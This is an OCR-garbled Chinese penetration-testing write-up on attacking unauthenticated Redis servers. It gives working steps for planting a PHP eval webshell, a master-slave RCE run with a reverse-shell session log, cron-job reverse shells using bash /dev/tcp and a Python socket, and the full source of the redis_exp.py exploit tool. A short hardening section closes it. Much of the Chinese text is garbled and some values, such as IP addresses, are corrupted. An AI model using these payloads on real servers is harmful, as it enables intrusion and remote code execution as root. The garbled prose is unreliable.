HredistX RS, FHRSRFEWebARSS, EredisBEwebBEEMNIRAS, AJAEIFweb

12 Bwebshell
(1) #BHlredisKIB, ERHHLEERredis clinet &k, HAREFRIIIE
(

2) EHFEwebiRSS, FEMEMILEREZ, THEEERXHESIERNENR

I ¥ T apache

WY 403 Forbidden x <4

< C O 7&£| 192.168.1.154

Forbidden

You don't have permission to access / on this server.

BAVREREEMEHMIZRRZ, IMNERERERE TESFEphpinfoXf, BAINE

apachefIERIAREIZ: /var/www/html/



redis-cli -h 192.168.1.154

config set dir /var/www/html

set xxx "\n\n\n<?phpEeval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php

save

/9. FIAEMEHIZREshell

RedisX#FEMEL ., BIEFTUMERSFEETHENMRSRZLEAS, MIRS[ANE
REXEMMIRS SR EMRS 3. XESRedisTHITRENET, FEIUEETLENNT L
HITBRE, BTTEXLI T RM/ATHENG, EEMBIEEETQARSNE, "1THE—
MREHIZWERSBTBOEBRMICR. BSZRRENTT BENBIETRREHE
B,

FIRRE:

EA M RedisTHIIRE EMEXRIETR, RedisAIEMSLHE AT AT FULLRESYNC ) X4 Z!
ML,

RIETEMLLEMEsoXX M, HMFMAIUNITHRNFBLT .

1. TEF REA:

git clone https://github.com/nebOdyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/

make

git clone https://github.com/Ridter/redis-rce

python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

:~/Desktop/redis/redis-rce# python redis-rce.py -r 192.168.80.147 -L 192.168.80.166 -f module.so

REDIS RLE

Connecting to 192.168.80.147:6379...
Sending SLAVEOF command to server

[+] Accepted connection from 192.168.80.147:6379
Setting filename

[+] Accepted connection from 192.168.80.147:6379
Start listening on 192.168.80.166:21000

*] Tring to run payload

[+] Accepted connection from 192.168.80.147:58774
Closing regue server...

[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r
Open reverse shell...
Reverse server address: 192.168.860.166
Reverse server port: 81
Reverse shell payload sent.
Check at 192.168.80.166:81
Clean up..

i I — i O A SR U shell

| :~/Desktop/redis/redis-rce# nc -nvvlp 81

listening on [any] 81 ...

connect to [192.168.80.166] from (UNKNOWN) [192.168.80.147] 53439
whoami

root
pwd
/home/coler/Desktop/redis-5.0.5/src

BXXE:



Redis 2FEMEHIA RCE FIAH

FHRMASE:

. HiTluafilZs:

redis 2.6ARTRINRAANE T luafil A1, B EikredisiRSZFAINERT, FILAF Bluaff (T

725 AN A
RAmL.

AT —Muafil 7S -

vim hello.lua

local msg = "hello,hack!"

return msg

EEFPimEiEredis RS 23 M 1Thellolua

redis-cli eval "$(cat hello.lua)" © -h 192.168.1.154

[root@mail test]# cat hello.lua

local msg = "hello.hacker!"

return msg

[root@mail test]# redis-cli eval "$(cat hello.lua)" © -h 19
"hello.hacker!"

[root@mail testl# ]

75 BI#SIXM, FlAdns, icmpEMMYX EL (tepMYXFEEL M)

B AT IREDAB AR, REETERRDBA R &M redisHiEERRINER FTRWX
HHTESE, LENTHEIXGthSRESE, MEXGREFEREE, BLEEERIANLSE
X, HEBIITIESERpythonE LIz .

1. BIE—Nluafild, HRBWT:

local function hex2bin(hexstr)
local str = ""
for i = 1, string.len(hexstr) - 1, 2 do
local doublebytestr = string.sub(hexstr, i, i+l);
local n = tonumber(doublebytestr, 16);
if @ == n then
str = str .. '\00'
else
str = str .. string.format("%c", n)
end
end
return str

end


https://paper.seebug.org/975/
https://www.lizenghai.com/archives/21742.html

local dir = redis.call('config','get','dir")
redis.call('config','set','dir',"'/tmp/")

local dbfilename = redis.call('config','get', 'dbfilename')
redis.call('config','set', ' 'dbfilename','t")

local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set', 'rdbcompression','no')
redis.call('flushall')

local data = 'la2b3c4d5e6f1223344556677890aa’
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7cOa'))
local rst = {}

rst[1] = 'server default config'

rst[2] = 'dir:'..dir[2]

rst[3] = 'dbfilename:'..dbfilename[2]

rst[4] = 'rdbcompression:'..rdbcompress[2]

return rst

FEdatafRFHIETEF A1 63 HI IR D

2. FlAredis#{TiZluafil 2~

redis-cli --eval a.lua -h 192.168.1.154

3. HFredisAxfFElua i BsaveE b FEF i Tsavetd 1,7 Biiffkkey data, PxEdir
%,

redis-cli save —-h *x.x.%x.%
redis-cli config set dir *** —h x.x.*.x%
redis-cli config set dbfilename *xx -h x.x.*x. %

redis-cli config set rdbcompression * -h *.%x.%.*%

BRIEANXHHIE2FENREEN, T—5BIEITUESBEApythonsiE R i<
B Z#HSI X (BEXHZERIEREMATIIERRESEE X HHRR)

*/1 * * % % python -c
'open("/tmp/rst","a+") .write(open("/tmp/t").read() .split("|||")[1])"

#h3E:

T3k BitinabuuukfE:

# Rredis 5 ENESRIFE M A:

1. FlIPtelnetE#EredisB

telnet X.X.X.X 6379 //KFFHE 5%



config set dir /var/spool/cron/ //BECESCAFJMER/E (CONFIG SET iy & Al LLahzsih
3 Redis JRSFZRIMNCE 1M (configuration) LM E R . O / /BN A crontab
fF, #LWAE /var/spool/cron/ Hk R

set —.— "\n\n\n* x * % x bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n" //H
e Yur 7 WcrontabE 5 N K ifishell, #AT & AT/,

2, FAERESSEEpythonKk3shell

set 1 "\n\n*/1 * * * * /usr/bin/python -

c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_
STREAM) ;s.connect((\"127.0.0.1\",9999));0s.dup2(s.fileno(),0); os.dup2(s.f
ileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-
i\"1); "\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

3. @ php3FlAredis RN 1T RiEshell

<?php

$redis = new Redis();
$redis->connect('127.0.0.1',6379);
S$redis->auth("password");

Sredis->flushall();
$redis->config("SET","dir","/var/spool/cron/");
Sredis->config("SET","dbfilename","root");
Sredis->set ("0","\n\nx/1 * x * * bash -

i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n");
$redis->save();

7>

redisFI A7~

https://github.com/00theway/redis_exp
18:

#!/usr/bin/env python
#-x— coding:utf8 —-x-
#@author: 00theway
#@file: redis_exp.py
#@time: 2017/3/29 [/-6:40

import redis,sys,time


https://github.com/00theway/redis_exp

from optparse import OptionParser

class REDIS_EXP:
def __init__(self,host,port=6379):
self.host = host

self.port = port

self.INFO 0
self.ERROR = 1

self.default = {'dir':"'"',
'dbfilename':"'",

'rdbcompression':''}

self.crond = "'
self.r = redis.StrictRedis(host=self.host, port=self.port, db=0)
try:
self.get_default_config()
self.output("default config:",self.INFO)
self.output("dir:"+ self.default['dir'], self.INFO)
self.output("dbfilename:" + self.default['dbfilename'],
self.INFO)
self.output("rdbcompression:" +
self.default['rdbcompression'], self.INFO)

except Exception,e:
self.output("get default config",self.ERROR)
self.output(e.message,self.ERROR)
sys.exit(1l)

# recover config

def __del__(self):
self.r.config_set('dir', self.default['dir'])
self.r.config_set('dbfilename', self.default['dbfilename'])
self.r.config_set('rdbcompression',

self.default['rdbcompression'])

def output(self,msg,level=0):
if level == self.ERROR:
print "\033[31;3m [ERROR] %s \033[0m" % (msg)
if level == self.INFO:
print "\033[32;3m [INFO]%s \033[Om" % (msg)

# call before execute
def generate_crond(self,command,time_delay):
server_time = self.r.time()[0] + time_delay * 60

m_time = time.localtime(server_time)

m_min = m_time.tm_min



m_mon = m_time.tm_mon
m_day = m_time.tm_mday

m_hour = m_time.tm_hour

self.crond = "\n\n%s %s %s %s x %s\n\n' % (m_min, m_hour, m_day,

m_mon, command)

# call at init

def get_default_config(self):
default = self.r.config_get()
self.default = default

pass

# call after set_local_file and set_remote_file
def upload_file(self,local_file,remote_file):
separator = '3b762ccl137d55f4dcf4fel84cccldcls’
self.output('uploading files',self.INFO)
try:
data = open(local_file,'rb').read()
except Exception,e:
self.output("open file %s error" % (local_file),self.ERROR)
self.output(e.message,self.ERROR)
sys.exit(1l)

m_data = '"\n%s%s%s\n' % (separator,data,separator)

try:
self.r.config_set('dir','/tmp/")

except Exception,e:
self.output('config set dir /tmp/',self.ERROR)
self.output(e.message,self.ERROR)

sys.exit()

self.r.config_set('dbfilename','0ttt')
self.r.config_set('rdbcompression','no')
self.r.flushall()
self.r.set('data',m_data)

self.r.save()

#recover db config
self.r.delete('data')

command = '''python -c
'open("%s","ab+") .write(open("/tmp/0ttt","rb").read().split("%s")[1])"' '"'
% (remote_file,separator)

self.execute(command)

self.output('file upload done',self.INFO)



# call after set_command
def execute(self,command,time_delay=2):
self.generate_crond(command,time_delay)
try:
self.r.config_set('dir','/var/spool/cron/")
except Exception,e:
self.output('config set dir /var/spool/cron',self.ERROR)
self.output(e.message,self.ERROR)
sys.exit()
self.r.config_set('dbfilename', 'root')
self.r.flushall()
self.r.set('shell',self.crond)
self.r.save()
self.r.delete('shell')

self.output('cron set ok',self.INFO)

for i in range(time_delay * 60):
sys.stdout.write('\r\033[32;3m [INFO] wait {0}seconds for
command execute \033[0Om'.format((time_delay x 60) - 1))
sys.stdout. flush()
time.sleep(1)

print ''

self.output('command execute done',self.INFO)

def broute_dir(self,dirs_file):
self.output("broute dir")
try:
dirs = open(dirs_file).readlines()
except Exception,e:
self.output('open file %s error' % dirs_file,self.ERROR)
self.output(e.message,self.ERROR)

sys.exit()

for d_path in dirs:

d_path = d_path.strip()

try:
self.r.config_set('dir',d_path)
print '[path exests]',d_path

except Exception,e:
if "Permission denied" in e.message:

print '[Permission denied]',d_path

else:

pass



def get_paras():

usage = '''python redis_exp.py ——host x.x.x.x [options]

command execute:python redis_exp.py ——host *x.x.x.x -c "bash -i >&
/dev/tcp/10.0.0.1/8080 0>&1"

file upload:python redis_exp.py --host *x.x.x.x -1 /data/reverse.sh -r
/tmp/r.sh

path brute fource:python redis_exp.py —-—-host *.*x.%x.%x -f
/data/path.txt'"'

parser = OptionParser(usage)

parser.add_option('--host',dest="'host',help="'the redis ip')

parser.add_option('-p',dest="port",type="1int',default=6379,help="the
redis port,default is 6379")

parser.add_option('-f',dest="file",help="f1ile path to brute fource")
parser.add_option('-1',dest="1_file",help="1local file to upload")
parser.add_option('-r',dest="r_file",help="remote path to store file")
parser.add_option('-c',dest="command",help="the command to execute")
parser.add_option('-t',
dest="time_delay",type="'1int',default=2,help="the time between crontad

created and command execute,default 2mins'")

(options, args) = parser.parse_args()

arg_host = options.host

arg_port = int(options.port)

if arg_host == None or arg_port == None:
print "\033[31;3m [ERROR] %s \033[0m" % 'host or port error'
print usage

sys.exit()

arg_command = options.command

arg_time_delay = options.time_delay

arg_1_file options.1_file

arg_r_file = options.r_file

arg_dirs_file = options.file

if arg_command == None and (arg_1l_file == None or arg_r_file==None)
and arg_dirs_file == None:
print "\033[31;3m [ERROR] %s \033[0m" % 'need options'
print usage

sys.exit()

paras = {'host':arg_host,

'port':arg_port,



'command' :arg_command,
'time_delay':arg_time_delay,
'"I_file':arg_1_file,
'r_file':arg_r_file,
'dirs_file':arg_dirs_file}

return paras

if '__main__' == __name__:

paras = get_paras()

host = paras['host']

port = paras['port']

command = paras['command']

time_delay = paras['time_delay']

1_file = paras['l_file']

r_file = paras['r_file']

dirs_file = paras['dirs_file']

r = REDIS_EXP(host,port)

if command != None:
r.execute(command,time_delay)

elif dirs_file != None:
r.broute_dir(dirs_file)

else:
r.upload_file(l_file,r_file)

HERNARE R redisilZs

https://github.com/Ridter/hackredis

redisARIZAURRIR B IR 3RG) -

redis RIZIH QI BURZBANIEZH BA (BHiERE)
https://mp.weixin.gg.com/s/eUT ZsGUGSO0AeBUaxg4Q2w

FIFRHAR:

Windows T #ll{alget shell?

5 Awebshell, fZ41iEwebM1E
BNAshI, F 5 BRI
5 \MOF, MOFEERESEP4 AT —X, &EH TWindows2003.

BEAR:


https://github.com/Ridter/hackredis
https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

1, B2 5EH< (EFredis78EER)
o {BI4 redis.conf X, ZFIZFE(EIX DB {4t

rename-command FLUSHALL ""
rename—-command CONFIG ""

rename-command EVAL ""
& B Eredis.conf X, HMEXLESREHIHIAMR

rename—-command FLUSHALL "namel"
rename-command CONFIG "name2"

rename-command EVAL '"name3"

2, BDMEARBRIET Redis ARSS (E/Sredis7 BEAZK)
79 Redis [RSBIZEBNAFPNRER, HEEERILLEM

groupadd -r redis && useradd -r -g redis redis

3. 7 Redis HFMBBHIE (BSredis78EER)

824 redis.conf X1, il
requirepass mypassword
(ERredisNEM-aZ ¥, WM, EHFEHauthidib

4. FIESMMTAIE Redis (EfSredis7BELERK)

&2 redis.conf X, RINIELL, (£15 Redis RS REHRIENATHA
bind 127.0.0.1

fredis322Z /7, redistfil T protected-mode, X MEXT, FHAEPRERBEERD
IhiE)RS H =R T

5. BRI

S0 B S {Fredis.conf XX {4

Port 6379
FiNim 26379, AT EMIEO (FREHRMLF)
6. fRiE authorized_keys X{HHRE

NTRIERZE, BN EEAMREF R A,



e 1§ authorized_keys M SRIRE N AE RiE, HMAF B EEANR:

chmod 400 ~/.ssh/authorized_keys

e RRIE authorized_keys KIMPRASWENIE, BMAEFEIREIZXHH immutable IFXR:
chattr +i ~/.ssh/authorized_keys

o A, AFPEAMUERE ~/ssh, REMEM ~/ssh BEH authorized_keys X,
ERRXMIER, FTEIZE ~/ssh #9 immutable 1XpR:

chattr +i ~/.ssh

7. RERAIEERR

WMRIEFE WS FRedisiREBEHREMARSS 23K IA0), FILAIZEiptablestREZ X 2 IFIEEHIIPE
1518]RedisARSS .

SEfE:

https://www.freebuf.com/column/158065.html
https://bbs.ichungiu.com/thread-39749-1-1.html?from=beef

https: //matu-re—sec .com/post/redis /


https://www.freebuf.com/column/158065.html
https://bbs.ichunqiu.com/thread-39749-1-1.html?from=beef



